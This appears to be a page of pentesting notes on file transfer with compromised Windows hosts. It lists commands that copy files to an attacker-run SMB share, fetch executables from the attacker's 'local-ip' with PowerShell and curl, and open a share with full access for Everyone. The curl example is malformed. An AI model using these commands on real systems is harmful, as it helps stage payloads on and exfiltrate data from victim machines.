> For the complete documentation index, see [llms.txt](https://notes.incendium.rocks/pentesting-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.incendium.rocks/pentesting-notes/windows-pentesting/file-transfer.md).

# File Transfer

## SMB

Using impacket:

```
# Setup smb share named 'tmp' in current directory with SMB2 support
impacket-smbserver tmp . -smb2support

# From target host to local host:
copy <file> \\local-ip\tmp

# From local host to target host
copy \\local-ip\tmp\file.ps1
```

## PowerShell

```
Invoke-WebRequest -u 'http://local-ip/file.exe' -o file.exe
```

## Curl

```
curl http//local-ip/file.exe -o file.exe
```

## Create and use shares

* If you cannot reach your own IP, but you have two compromised hosts that can reach each other.&#x20;

```
# Create share
net share SHARENAME=C:\PATH\TO\DIRECTORY /GRANT:Everyone,FULL

# Use share
net use Z: \\hostname\sharename /user:username 'password'
```
